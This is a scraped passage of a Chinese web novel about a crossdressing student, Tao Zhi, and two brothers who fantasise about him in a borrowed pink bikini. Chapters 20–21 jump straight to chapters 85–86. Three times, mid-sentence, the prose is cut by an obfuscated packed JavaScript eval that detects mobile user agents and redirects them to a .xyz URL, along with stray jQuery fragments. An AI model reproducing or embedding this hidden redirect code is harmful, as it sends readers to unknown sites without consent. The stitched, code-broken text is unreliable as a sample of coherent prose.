一人一盘沙拉,陶稚面前的是芦笋虾仁,里面还放了几颗切开的小番茄,烤土豆和鸡胸肉。 陶稚很乖地低头叉着吃。 他很安静,吃饭时基本没有声,偶尔鼓着脸颊抬头,听别人说话。 吃到差不多尾声时,他听见卫煜发出不满的声音:“这玩意有什么好吃的。” “我就说我叫个厨子过来,你还不让。” “你不乐意吃你早说啊。”卫煜女朋友翻了个白眼:“吃完了你说这话,我特烦你你知道吗?你别跟我说话了。” 说完真的不再搭理卫煜,椅子都往旁边挪了挪,大有保持距离的意思。 她旁边坐的就是陶稚。 陶稚正想着要不然他也往旁边挪挪时,女生忽然跟他搭话:“嗨,妹妹。” “你叫什么名字啊,以前没见过你,听说你是傅铮的同学?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15841202|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “妹妹”本人,陶稚同学手抖了一下,叉子差点掉下去。 好羞耻的称呼啊,听得陶稚耳朵都发烫。 但他还是努力抬起头,用平稳的声音回答:“姐姐你好,我叫叶绵。” “是傅铮的同学。” 假名是提前就取好了,叶是他妈妈的姓,绵这个字是傅铮取的。他特意搜索了可爱的字,犹豫了一晚上才敲定。 “哦。”女生点头:“那我叫你绵绵吧。” “你可以叫我心媛姐,我比你大几岁。”沈心媛说。 “好的,心媛姐。”陶稚点头。 “哦,叫绵绵啊。” “我以为你叫兔兔。”卫煜插嘴:“小萌兔嘛。” 之前他不小心瞥到了傅司珩的手机屏幕,陶稚这个网名特别显眼。 陶稚:“?” 陶稚:“……” “拜托,请别这样叫我。”听到这个称呼,陶稚顿时绷不住了,羞耻得脚趾都蜷起来,差点没当场给他们扣出一个别墅来。 他当时就很反对这个网名来着,但他拗不过傅铮。 在学校都有好几个人问过他,没想到现在又被卫煜…… “哈哈哈哈。”卫煜倒是笑得开心,尤其在得知陶稚真实性别为男的前提下。 然后就被沈心媛肘击了。 “……”卫煜捂着肋骨闷哼。 “那绵绵,等下吃完饭了要不要跟我们一起去泡温泉?” 这次行程,包括陶稚在内一共有四个女生,沈心媛和她的闺蜜,以及卫煜的发小。这三人是认识的,来前就约好了一起泡温泉,但觉得单独落下傅铮的同学不好,于是友好地主动邀请了她。 陶稚:啊??? “不用了!”陶稚连忙拒绝。 不行的呀! 他一个男生,怎么能跟三个女生一块儿泡温泉啊! 沈心媛:“……?” 嗯?拒绝得这么干脆吗? 沈心媛愣了愣,下意识开口:“为什么呀?” 沈心媛说:“他们其他人待会儿去楼上打牌,你不跟我们一起去的话,会很无聊哦。” “不用了,真的不用。”陶稚快要被吓死了:“我自己待在房间里休息就行了。” 话音落下,看见沈心媛不解的眼神,陶稚急中生智,想出了一个理由:“心媛姐,我、我没带泳衣,真的……不好意思,不能跟你们一起去,下次,下次有机会的话,再……” 陶稚艰难开口:“我们再一起泡温泉。” “哦,原来是因为这个原因啊。”沈心媛懂了,若有所思地点头。 “嗯、嗯嗯!”陶稚跟着点头。 “早说呀,我带了好几套泳衣呢,借你一套好了,都是没穿过的。”沈心媛非常热心:“你喜欢什么类型?比基尼?连体?还是分体?我都有哦。” “?” 听到泳衣两个字,旁边傅司珩的动作顿住。 他抬眼,看向陶稚。 “应该可以穿的。”沈心媛说话时,顺势看了一眼陶稚的身材。 从上到下。 得出结论:“咱俩差不多。” 陶稚:“……” TvT 救、救命啊。 陶稚绷不住了。 他现在脑瓜子嗡嗡的,说不出是因为羞耻还是招架不住。他、他怎么能穿泳装啊……不行的,不行的。 陶稚想不到办法了,只好求助在场唯一能帮他的人。 拜托了,傅铮,救救啊。 救命啊。 陶稚把所有的希望都放在傅铮身上。 他错了,他刚刚不该说傅铮脾气差阴晴不定的—— 傅铮的动作也停了。 他抬头,看着陶稚,表情像是在思考。 片刻后,他不知道想到了什么,脸突然爆红。 陶稚:“?” 啊? 20.好心 陶稚,穿泳装。 还是女士的泳装。 正常来说,一个大男人穿成这样,应该会很变态的吧?傅铮觉得应该是,平时穿个裙子装装女生无所谓,但是这种私密裸-露的衣服……傅铮想象了一下。 比基尼,分体,连体。 这个时候,傅铮的记性挺好的。 想象力也挺好。 一种难以言喻的,隐秘的快感直冲大脑,傅铮根本控制不住自己的脸红,小麦色的皮肤上,燥红非常明显,连水都压不下去。 脑海里想着肮脏的事情,抬眼是陶稚着急清澈的双眸。 该死啊。 他可真该死啊。 但是控制不住。 越告诉自己别往这方面想,脑海里越是被这种画面塞满,这下傅铮连看都不敢再看陶稚。 他被自己想象的画面刺激到鼻子发痒,只能很丢脸且心虚地错开视线。 …… 他不敢,但傅司珩敢。 傅司珩侧头,目光盯着陶稚的侧脸看了好一会儿,表情同样地若有所思。 “傅、傅……”陶稚见傅铮不理他,顿时不知道该如何是好。 因为紧张,睫毛跟着颤动好几下。 收回目光时,他看见了坐在他身旁的傅司珩。 陶稚张了张嘴,不知道该不该让他帮忙。 正犹豫,傅司珩主动出声帮陶稚解围:“他坐了几个小时的车累了,待会儿要去休息。” “嗯?”沈心媛微微一愣。 听到是傅司珩的声音,她脑袋抬起,越过陶稚,看向他身后,冷酷淡漠的男人。 累了,不是泡温泉更解乏吗? 好奇怪。 但不敢问。 她疑惑的目光在两人身上转来转去—— “我待会儿找他有事。”傅铮这个傻子,终于从刺激的想象中回过神了,想起来要帮陶稚。 他深吸了一口气:“你们先去泡吧,别找他了。” ……嗯? 沈心媛现在满脑袋问号。 这两兄弟搞什么啊。 不是说就傅铮的普通女同学吗?管这么严,泡温泉都不让。 但他们都这么说,沈心媛也不好继续开口,哦了声后,又转头去跟其他人说话了。 陶稚终于松了一口气。 刚刚被吓到心脏砰砰直跳,生怕拒绝不了,引起别人的怀疑,现在危急解除,他仿佛脱力一般靠在了椅背上,小口小口地,细弱地喘着气。 胆子真小。 傅司珩看着他起伏的胸口,漫不经心地想。 - 吃完饭后,别墅里的工作人员来收拾餐桌。 女生们结伴一块儿去楼上换衣服,准备去泡温泉。陶稚则是站在大厅,脑袋左右乱转。 傅司珩上楼去了,不知道是要干嘛。 傅铮站在一楼的窗户处抽烟。 卫煜还有其他两个男人去打牌了。 就只有陶稚不知道该干什么,站在原地思考了好一会儿,最后决定去找傅铮,看看老板有什么指示没。 陶稚在心里夸自己的敬业,但走近了,看见傅铮的表情,顿时心里咯噔了下。 因为傅铮现在的表情很不好。 皱着眉头闷头抽烟,不知道在想什么,一副不耐烦的样子,看得陶稚十分疑惑。 怎么又生气了啊。 没人招他啊,吃饭的时候都还好好的,抽个烟还能给自己抽生气。 陶稚是真看不懂。 好在他已经习惯了傅铮的阴晴不定,对此也有应对方式。 陶稚立马转头开溜。 很可惜,失败了。 刚转身,他被傅铮拎着衣领拽回去。 长臂伸过来,傅铮指骨上的银戒很突兀地冰了他一下,陶稚立刻求饶:“傅铮……” 傅铮的手一抖。 “你过来干嘛。”傅铮装作一副若无其事的模样,顺手掐灭了烟。 他觉得他现在的语气应该是很冷酷的,就跟外面的风雪一样,完全没有为陶稚的撒娇动容,表现得非常正常。 陶稚缩了缩脖子。 他想说自己这就走了。 但傅铮先他一步开口:“你跟着傅司珩去啊,来找我干什么,忘记自己的任务了?” “一天到晚就知道跟着我。” 啊? 哦,那就是要他干活呗。 陶稚懂了。 像是从npc那里接到任务似的,顿时明确了自己今晚的工作,失去了先前的迷茫,有了目标。 …… 但是不想去也没有关系。 傅铮在心里默默地补充。 如果陶稚今天晚上真的不想去找傅司珩,他也不会勉强,偶尔放松一个晚上也没有什么关系。虽说行程真的很急,在春节之前,这估计是最后一次见傅司珩的机会了。 但陶稚这个小笨蛋,估计也没来这种地方玩过。 更别说滑雪了。 不然明天教他滑雪吧。 还有,滑雪场的酒店也有温泉泡,到时候再带他去。 让他穿男装跟自己去泡温泉。 勾引傅司珩什么的,大不了明年再说。 本来就不是一件容易的事,没必要压力陶稚让他在三天内搞定,这太强人所难。 傅铮脑海里的想法非常多,乱七八糟的,一瞬间全部涌上来。 但还没有开口,忽然感到手下一松。 是陶稚把他的手指掰开了。 傅铮的手好凉啊。 嘶,冰死他了。 陶稚解放自己后,快速揉搓着脖子,温度可算有所回升。他仰起脸,对傅铮说:“知道了,我就是过来看看。” “你穿这么少开着窗户站这里容易着凉哦。”陶稚告诉他。 傅铮一愣。 多久没有人对他说这种话了?傅铮觉得心脏一暖,不枉费他平时对陶稚好,卖奢侈品都要给他转钱—— “你自己注意一下,我现在就去找傅哥,会努力完成你交代的任务的!”陶稚和傅铮告别,边走边挥手。 傅铮:“?” 靠??? - 陶稚走了。 但凡他回下头,都能看到傅铮震惊到难以相信的表情。 可是他没有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15849674|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走得非常决绝,还捂着围巾小跑了起来。 ——因为傅铮那儿实在太冷,他忍不住想要早点离开。 刚好,在大厅转角的地方,他碰到了穿着浴袍下楼的女生们。 “绵绵。”沈心媛看到他很高兴。 “心媛姐。”陶稚乖巧地和对方打招呼。 “我们现在就去温泉那边啦。”沈心媛见陶稚身边没有那俩兄弟,热情地二次邀请他:“要一起去吗?” 陶稚:“……” “不用了,不用了。”陶稚呼吸一滞,连忙摆手拒绝:“我待会儿还有事。” 还是这个借口。 “哦,好吧。”沈心媛没有勉强,却递给他一个小包:“你之前说没有泳装,这是我专门拿来给你的,是粉色的比基尼呢,你穿上应该会很可爱!” “要是改变主意了,就去女汤池那边找我们哦,走啦,拜拜。” ……? 啊。 这…… 不是—— 陶稚张口想要说什么,沈心媛却没有给他这个机会。 她挥着手手离开,陶稚站在原地,看着她们的背影,再看着怀里抱着粉色的比基尼泳装…… 陶稚懵懵的,反应不过来。 一直到她们的背影彻底消失,陶稚才表情极度恍惚地低头。 比基尼?比基尼那不就是—— ……啊啊啊啊! 陶稚快要疯了。 这辈子让他害羞的事情都赶不上今天……! 就算他能接受穿女装,可这种布料稀少又性感的泳衣,他真的……他哪里见过这种阵仗啊! 陶稚的脸完全红透,连看都不敢再看。 这套泳衣拿也不是,不拿也不是的。他在原地站了好一会儿,才红着脸,闷头上楼。 总之,先把这个东西放回到房间吧。 陶稚这会儿走路脚步都是虚浮的,压根没注意到走廊的转角处,傅司珩正在守株待兔。 他只觉得走着走着,一道阴影将他笼罩。 陶稚抬头。 “傅、傅哥?”陶稚此时仍处在恍惚中。 “嗯。”傅司珩应了一声。 红通通的脸,跟熟透的桃子似的。 傅司珩看见他怀里抱着一包东西,很自然地询问:“拿的是什么?” 陶稚:“……” 陶稚艰难地仰起脸。 老实本分的山里小桃子,压根不知道别人的问话可以不回答。 即使此刻脚趾抠地,不知所措,心跳加速。他依旧实诚到没边。 “傅哥,是心媛姐借给我的泳衣。”羞耻到连声线都在发抖:“刚刚我在楼下碰到她们了。” 傅司珩微微一怔。 泳衣。 还是拿到泳衣了。 “哦。” 陶稚的声线抖,傅司珩也没好到哪里去。 一些模糊的画面,此刻在脑海里清晰了不少。 他的目光,也从陶稚的脸上,缓慢地向下移动。 最终定格到胸口。 “那你现在是要去换上吗?”傅司珩喉咙有些发紧。 21.交代 啊??? “不是的!不是的!”陶稚连忙摆手! 本就泛红的脸颊,此刻因为傅司珩的话,变得更加红润慌乱,并且随着摆手的动作,怀里抱着的泳衣“啪嗒”一声掉在地上。 陶稚伸手想捡,但傅司珩先他一步。 高大的男人弯腰,手指拎起装着泳衣的透明收纳包,顺便往里看了一眼。 一件崭新的,还没有拆开过的粉色泳衣。 傅司珩抬头,目光再次落在陶稚雪白泛红的小脸上。 之前没有发现,陶稚左边脸颊似乎有点儿微鼓。 不太明显,微微鼓出来一个点,显得有点儿肉,想戳。 陶稚被抢了收纳包,怀里没抱着东西,让他有点儿不自然,手脚都不知道该往哪里放,脚趾拼命抠着:“我已经拒绝她们了,我不去泡温泉。” 所以也就不用穿泳衣。 陶稚在心里小声补充。 泳衣这个词,现在从他嘴里说出来都觉得羞耻。 小皮靴里的脚趾又工作了好几下。 “哦。”傅司珩盯着他的脸颊看。 这个颊边肉越看越可爱。 除了想戳之外,还想咬在齿尖上吸吮,把那块软肉欺负到发红,布满齿印。 到时候陶稚会是个什么反应? 傅司珩一直觉得自己为人还挺正派的,至少对比生意场上的那些人,他洁身自好,从不乱搞男女关系。 当然,也不乱搞男男关系。 那点恶劣的坏心思,全在脑海里想陶稚了。 傅司珩自己都没意识到他的目光有多露骨。 充满侵略性的视线,烫得陶稚浑身不舒服。 怎么回事啊,好想挠耳朵。 耳朵好烫,后背也烫烫的。陶稚被看得心都提了起来,有种想要逃走的冲动。 但又不能逃走。 “为什么不去泡温泉?”半晌,傅司珩终于开口。 可他很坏心眼地明知故问,摆明了不想放过陶稚。 陶稚张了张嘴。 原因不是已经说过了吗? 待会有事,还有,傅司珩还帮他找借口,对沈心媛说坐车太累了—— 陶稚突然愣住。 他现在才后知后觉地意识到,傅司珩虽然帮了他,但和他并不是一伙的。 知道他秘密的人就只有傅铮。 那他该怎么回答? 累了这个借口,傅司珩已经帮他用过了,他也不好再用一次。 陶稚抿了抿唇。 “不太习惯太多人。”陶稚想到借口,小声地回答傅司珩:“傅哥,我性格很内向的。” “哦。”傅司珩目光微动,终于不再盯着陶稚看了。 他将泳衣包还给陶稚:“知道了。” 性格内向。 陶稚伸手接过,重新抱在了怀里。 安全感回来了一点。 下一秒。 “别墅里有两个温泉池。”傅司珩忽然开口。 “嗯?”陶稚不明白他是什么意思,仰着脸,呆呆地看着他。 天真澄澈的眼神。 真是让人不忍心欺负。 但。 “另一个是男汤池,现在没人用,也不会有人打扰你。正好适合你这种性格内向的小女生。”傅司珩问:“要去吗?” 陶稚:“……啊?” - 不是。 怎么就变成这样了? 陶稚有点懵。 因为现在,他正跟着傅司珩,往无人的温泉池走去。 在半个小时之前,傅司珩问他,要不要去没有人温泉池,陶稚当然是拒绝了。 想都没想,立马拒绝。 但为什么拒绝,他又给不出傅司珩理由来,最后被半推半就,半哄半骗地带回房间。 傅司珩在外面等,他在里面换泳衣……和比基尼大眼瞪小眼。 陶稚感觉自己可能有点死了。 女装,他看在钱的份上,倒是能咬咬牙穿在身上。但是这个比基尼,无论如何,他都说服不了自己。 这实在是太羞耻了啊……! 把包装拆开就已经用掉了陶稚的全部力气,他根本没有办法去拿起来,再穿在身上。 陶稚把脸埋进枕头里,降了好一会儿温才抬头。 茫然的,羞赧的,不知所措地抬头。 然后思考。 他也不是全然笨蛋。 先前在餐桌上,沈心媛邀请他泡温泉时,陶稚觉得女装真是害惨了他。 他怎么可能穿着泳衣去跟着女孩子们泡温泉啊,那不是占人便宜吗?还有,如果去了,肯定会穿帮。 他当时真的有种完蛋了的念头。 但是现在,又截然不同了。 他现在是“女生”,到时候出去时,跟沈心媛她们一样裹个浴袍不就好了吗?难道傅司珩还要他把浴袍脱下来看里面的泳装吗?不可能的。 应该也不会一起泡,他刚刚都说了不喜欢人多。 想到这一层,陶稚可算是找到了破局之法。 他没有穿泳衣,而是把自己脱光到只剩条小内裤,再找出房间里的浴袍紧紧裹在身上。 这样应该就行了。 做好一切准备,陶稚终于打开门。 跟之前一样,只开了一点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853863|175019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门缝后,再慢慢地,鼓起勇气从房间出来。 “傅哥。”陶稚在房间里做足了心理建设,现在倒没有之前那么紧张了,只是依旧小心翼翼。 傅司珩嗯了一声。 他的目光从陶稚的脸上慢慢下滑,刚触及到领口处,就见陶稚将自己裹得更紧了。 一脸防备的神色。 傅司珩:“……” 傅铮给他下的任务到底是不是勾引。 有点怀疑。 傅司珩扯了下唇。 他没说什么,转过身,带着陶稚去往温泉池,陶稚跟上他的脚步。 陶稚不算是个多话的人,他属于乖巧安静的类型,以前傅铮经常带他出去,他就安安静静地站着坐着,从不打扰别人。 傅司珩就更不用说了。 一路上倒也安静。 只是偶尔,陶稚担心自己暴露,会反复调整浴袍,想起来就裹紧自己,把自己遮得严严实实,连锁骨都没有露出来。 这是一个很正常的动作。 无论谁来看,都会觉得正常。 但傅司珩却并不这样认为。 陶稚站在他的身侧,每一个举动都像是勾引,稍微有点儿动作,都会将他的目光吸引过去。 这一路上,陶稚调整了几次浴袍,傅司珩就有多少次看向他,偏偏罪魁祸首毫无察觉,一直不停地摆弄,还越裹越紧。 傅司珩合理怀疑,如果不是浴袍长度不够的话,他没准连脖子都会遮住。 只不过是穿个泳衣而已。 至于怕成这样吗? 怕到连自己的职责都忘了,陶稚真的能完成傅铮交给他的任务? 三天之内拿下他。 傅司珩毫不怀疑,傅铮一定是这样对陶稚说的。 他很清楚傅铮是个什么人,那个没脑子的蠢货,平时肯定没少压力陶稚。 这么一想,傅司珩觉得陶稚还挺可怜,被傅铮欺负得这么惨,如果完不成任务的话,没准还会有惩罚。 被骂到抬不起头,眼尾泛红,眼泪在眼眶里打转。 又不敢哭。 因为傅铮最烦别人哭哭唧唧地吵他。 那就只能咬着唇强忍着了。 在房间里换泳衣时,可能想到了这些,所以,尽管羞耻到身体发红发烫,也依旧颤抖着手,强.迫自己穿上。 就在这件浴袍下面。 粉色的比基尼。 傅司珩的眸光暗了暗。 完不成任务的小室友真可怜,指不定会被傅铮怎么折腾。 既然如此,他倒不介意,教教陶稚怎么勾引自己。 让他在傅铮那儿有个交代。 85、糟糕... 陶稚拿着衣服,呆呆地看了傅司珩好一会儿。 买下了? 傅司珩买下了? 为什么要买下啊? 买来给谁穿?他吗? 听到傅司珩的话,陶稚脑海里瞬间涌出一大堆的问题。 每一个问题他好像都知道答案,却又不敢细想。 他低头看了看衣服,又看了看傅司珩,该不会真的打算给他穿吧—— “傅总,是将这些直接送到您家里吗?” 就在陶稚心情复杂的时候,纪助理手提着几条礼服裙下楼了,打断了他们之间的对话。 傅司珩侧头,嗯了声。 “好的。”纪助理应声,很快开车离开。 陶稚也在他们说话的时候,从后座出来了。 他手里没有衣服,跟掩耳盗铃似的,悄悄地将小黑裙塞到了箱子的最里面,用很多东西压住,应该不会有人发现他藏起来了。 而且傅司珩刚刚还在和纪助理说话,丝毫没有注意到他的动作。 藏好之后,陶稚出来,轻手轻脚地关上了车门。 “现在回去?”傅司珩仿佛忘了刚刚的小插曲,很自然地询问陶稚。 “好啊。”陶稚也假装无事地点头。 两人都没有提及刚刚的那段对话。傅司珩帮他打开车门,陶稚坐下,系好安全带,直到车子启动,他才发现好像不是这样。 傅司珩说的是回去,不是回学校。 陶稚见状连忙开口提醒他:“我明天早上有课,今天不能去你那儿了。” “嗯?不去吗?我还以为你会想回去整理你的衣服?”傅司珩说着,侧头看了后座一眼:“那么多衣服,要留着下周过来整理吗?” 啊。 对哦。 他忘了这茬。 经过提醒,陶稚意识到自己还有事情没有做完。他刚准备开口说整理完了再回学校,傅司珩却先他一步。 “算了。”傅司珩收回目光,自己改了口:“我帮你整理吧,反正我下午也没事。”“那我先送你回学校。” “不用不用!”一个负责任且勒劳的大学生,是不会把属于自己的工作,全部推给别人去做的。 陶稚:“我跟你一块儿回去,整理完了我再回学校。”应该也花不了多少时间。 只要能在晚上10点回学校就行了。 “真的?”傅司珩跟陶稚确认。 “嗯嗯。”陶稚点头。 他不会把所有的事情都丢给傅司珩干。 “行。”傅司珩也没有跟他客气。 车子正好在此时驶离地下停车场,傅司珩熟练地往来时的路开去。 陶稚:.…?” 总感觉有哪里不太对劲。 对话正常得有点不太正常,好像专门在等着他似的。 陶稚后知后觉,又呆了呆。 自己独自琢磨了一会儿,陶稚最后得出的结论是没准他对傅司珩有偏见也说不定。 怎么能因为对话太过顺利就怀疑对方别有用心呢? 太不应该了。 要是他的想法被傅司珩知道了,傅司珩会伤心的。 陶稚在心里呸呸呸,驱散脑海里面乱七八糟的想法。 他有点小愧疚,很快消除了心里对傅司珩的那点微小,本来就不多的戒心。 也就是傅司珩不知道他在想什么。 要是知道了,只会觉得他是个很善良的小宝宝。 回到傅司珩家后,纪助理已经将所有的东西都放进了傅司珩的衣帽间。 傅司珩的卧室有一间专门的衣帽间,很大。陶稚进过他的卧室,对里面还挺熟悉的。 不……应该是对里面的一部分挺熟悉的。 每次进傅司珩的房间,都因为一些这样那样的原因,没有好好地参观过。 今天还是头一次。 陶稚回来的时候没有遇见纪助理,但衣帽间里面堆了很多的东西,应该就放下就离开了。 ……也挺好的。 陶稚现在都有点怕见到他了。 有时候冷不丁地听他喊一声夫人,能把陶稚尬得拖鞋里面的脚趾连续动上好久。 有好几次,他被尬到头皮发麻,没忍住私底下找纪助理说这件事,问能不能换个称呼。 纪助理一本正经地问陶稚,那他该叫什么好。 陶稚说叫名字就行了。 可是纪助理觉得对上司的男朋友直呼其名不太尊重,于是两人就称呼的问题展开了友好的讨论。 除开陶稚本名之外,纪助理还可以选择的称呼有小稚,小陶,陶先生和夫人共四个。 第一个就不用说了,他敢喊,以傅司珩小心眼爱吃醋的性格,这一秒喊了,下一秒就得被辞退。 小陶也不行,听起来像是在喊公司里的下属。 陶先生嘛…倒是中规中矩的,纪助理以前也经常这么喊陶稚。 可问题是陶稚年龄比他小很多,脸又显小,像是十七八岁的模样,这么喊,真的把他给喊老了。 所以也不太合适。 选来选去,似乎就只有夫人这个称呼最适合他。 这一大段话砸下来,把陶稚说得呆呆愣愣的。 好像很有道理哎。 嗯……没错没错,就是这样的。 陶稚当时猛猛点头,找不到任何可以反驳的点。 于是称呼的事情就这么决定下来了。 半小时后,纪助理离开,陶稚头脑清醒后: 心情有亿点复杂。 原来看上去一板一眼的纪助理,实际上私底下真的非常……较真。 竟然和他有理有据地分析称呼的可行性,把他说得一愣一愣的,竟然觉得还怪有道理的。 想到自己已经点头同意了,也不好再去反悔,陶稚只能接受这个羞耻的称呼。 就是……每次见到纪助理都难免有点害羞就是了。 现在他人不在,陶稚有种松了一口气的感觉。 他走进了衣帽间。 门口处堆放着刚刚从容槐那儿搬回来的东西,显得有点儿杂乱,但里面却是十分整洁。 迎面是占据一整面墙的西装和衬衫,从浅色到深色,严谨,一丝不苟地排列着。右侧面是腕表柜,领带,鞋子。左面则是袖扣,戒指之类的配饰。 嗯…… 傅司珩房间的衣帽间很大,但好像都装满了。 陶稚脑袋左右转了转。 配饰柜里倒是可以放那些首饰之类的,但是衣服该放在哪里呢? 西装墙是满的,除此之外,衣帽间的最里面倒是有一面白色的衣柜,陶稚不知道衣柜里有没有放东西,他走过去,双手拉开柜门。 陶稚愣住。 衣柜里面也挂满了,但挂的不是男装,而是一整个衣柜的女装。 一整个衣柜。 陶稚先是愣住,随后又觉得奇怪。 傅司珩为什么要买女装? 陶稚皱着眉头,目光扫过琳琅满目的衣服们。 他知道乱翻别人的东西不好,但此时此刻,陶稚真的满脑袋都是疑问。 傅司珩为什么会有这些女装?是他以前的女朋友留下来的吗?可是他不是说他没有交过女朋友? 陶稚不觉得这些衣服会是傅司珩买给他的。 因为傅司珩给他买的衣服会让纪助理送到他的学校去。 陶稚觉得有点不舒服,心口酸酸的,还有点儿堵,他连要有礼貌,不能擅自动别人的东西都忘了,想看看这都是些什么东西。 陶稚抬手,手指一件件地划过衣柜里那些柔软的布料。 忽然,他的动作停住。 陶稚看见了一件熟悉的衣服。 粉色的比基尼泳…… ??? ! 这不是今年元旦的时候,在卫煜别墅,沈心媛借给他的那套吗? 陶稚一眼就认出来了! 因为那天傅司珩执意要带他去泡温泉。 而泡温泉就必须要穿泳装。 陶稚可没有忘记,那天晚上他在房间里跟这套泳装大眼瞪小眼的样子。瞪了好久,苦恼该怎么办。他的记性很好,连上面的花纹都记得一清二楚。 这就是心媛姐的那件! 标签都还没拆呢! 但是为什么会出现在傅司珩的衣柜里啊? 陶稚不明白,惊讶的同时又陷入了思考。 他实在太过惊讶,以至于完全没有注意到身后有脚步声响起。 直到腰侧伸过来一条手臂搂住他,而他的手,也同样地被傅司珩宽大的掌心覆盖。 陶稚疑惑地转头,映入在他瞳孔里的,是傅司珩那张熟悉又英俊的脸。 脸上依旧没有什么表情,但手却牵着他的手,将挂好的泳装拿了出来。 “傅、傅哥。”陶稚有些懵地开口询问:“为什么这件泳衣会在这里啊?”…我记得我后来还给心媛姐了。” 还有……这些衣服都是谁的? 陶稚脑袋里有很多疑问—— “我找她要回来了。”傅司告诉他。 泳装这样的衣服还挺私人的,陶稚去还的时候,特意说明了自己没有穿,结果沈心媛刚收到,泳装就被傅司珩拿走了。 并且还不止这一件。 傅司珩后来自己又买了很多款式,全部都在衣柜里面。 可陶稚被熟悉的衣服吸引了注意力,没有发现后面还有。 “这里面的衣服都是买给你的。” 一句话,终于让陶稚忐忑不安的心情放下来了。 但随之而来的是…… 傅司珩忽然低头,鼻尖抵着他的鼻尖。 “宝宝,这里面的女装,包括外面那堆全部都是你的,你只单单藏起那件黑色裙子,你觉得有用吗?” “自欺欺人,怎么这么可爱。” 陶稚: 糟、糟糕。 怎么被发现了? 86、凝固... “听到没有啊!”陶稚真的急了! 陶稚不肯承认他干了这么幼稚的事情。 可是撒谎也不符合他的性格。 陶稚干脆选择不说话。 他不搭理傅司珩,只垂着脑袋,自己干自己的事情。 ——他把手里还拿着的,刚刚从衣柜里取下来的泳衣放回去。 什么叫给他买的? 听不懂……不穿。 可惜,陶稚没能成功。 因为傅司珩的手掌还覆在他的手背上。 成熟男人宽大的掌心,几乎将他的整个右手包裹,很轻易地便将他的手拉回来,干了自己一直想要干的事情。 傅司珩牵着陶稚的手,将比基尼泳装放在陶稚的身前比了比。 陶稚怔愣了几秒。 他被傅司珩的举动弄得惊讶又害羞,回神后脸都红了,别扭地躲开:“你干什么呀” 可他被傅司珩搂着,男人手臂肌肉健壮,横在他的腰间,不用力都能让他动不了。再怎么躲,也只是往傅司珩怀里躲而已。 陶稚的肩膀碰到傅司珩的胸肌。 硬邦邦的。 “还记得元旦假期吗?”傅司珩低着头看陶稚,任由着他躲闪和推开泳装的动作,毫不吝啬地告诉他自己内心的真实想法:“第一天的晚上,你抱着沈心媛借给你的衣服,也就是这件泳装,回房间的路上碰着我了。” 傅司珩说话时的嗓音很淡,但如果仔细听的话,能很轻易地发现平淡的声音下,那一丝不明显的粗重与激动。 陶稚对这种声音很熟悉。 他的睫毛颤了颤。 “我说带你去泡温泉,让你回房间把泳装换上,你很听话地去了,裹紧浴袍出来。” “你把浴袍裹得很紧,除了脚腕那块儿,几乎没有一丁点儿的皮肤漏出来。我当时就在想。” 傅司珩的喉结动了动:“在想你浴袍底下是什么样子的。” 从当时就在想,直到现在也没有放弃过。 傅司珩一直在思考怎么能让陶稚心甘情愿地换上。 今天倒是很凑巧,陶稚自己发现了。 “宝宝。”傅司珩喊他,声音有些沙哑。 “那天其实我没有穿。”听完傅司珩的话,陶稚小声的,残忍无情地打破了他几乎长达半年的想象:“没骗你,真的没有,浴袍下面我穿的是内裤。” 因为傅铮是个笨蛋,来泡温泉不知道给陶稚准备泳裤,所以陶稚的第一次温泉体验是穿着湿淋淋的内裤去的。 傅司珩:“内裤?” “嗯……”陶稚有些不好意思地点头。 傅司珩忽然笑了。 还有点小聪明。 看来他家宝贝没有他想象中的那么笨。 他还以为陶稚是那种一板一眼的老实孩子,即便有浴袍的遮挡,也会忍着羞耻,乖乖将泳装穿在里面。 没想到他小看陶稚了。 陶稚有点小心眼,这令他意外。 但是有小心眼也可爱。 有小心眼是另外一种可爱。 陶稚本意原本是想告诉傅司珩,他真的没有穿过女士的泳装,让傅司珩不要在脑海里胡乱幻想。 但傅司珩完全理解成了另外一种意思。 他现在只觉得陶稚真的很聪明。 有种“宝宝真棒”的欣慰感。 “怪不得当时浴袍裹得那么紧。”傅司珩回神后依旧在夸奖他:“聪明的小宝宝。” “因为怕被你发现嘛。”陶稚都被他说得不好意思了。 也没有很聪明吧……这实在是没有办法的办法了。 当时真的不知道该怎么办才好,是临时回想起了沈心媛她们这样穿,他才有样学样的。 还有,傅司珩怎么叫他小宝宝啊。 平时叫宝宝陶稚都有点羞耻,现在叫小宝宝,陶稚更加羞耻了,他好歹也是个成年人啊……拖鞋里面的脚趾动了动,陶稚想纠正傅司珩的称呼,傅司珩先他先步开口。 “但我真的很想看。”傅司珩轻声哄着他:“穿一次?好不好?” 陶稚: “可我不想穿。”陶稚小声告诉傅司珩。 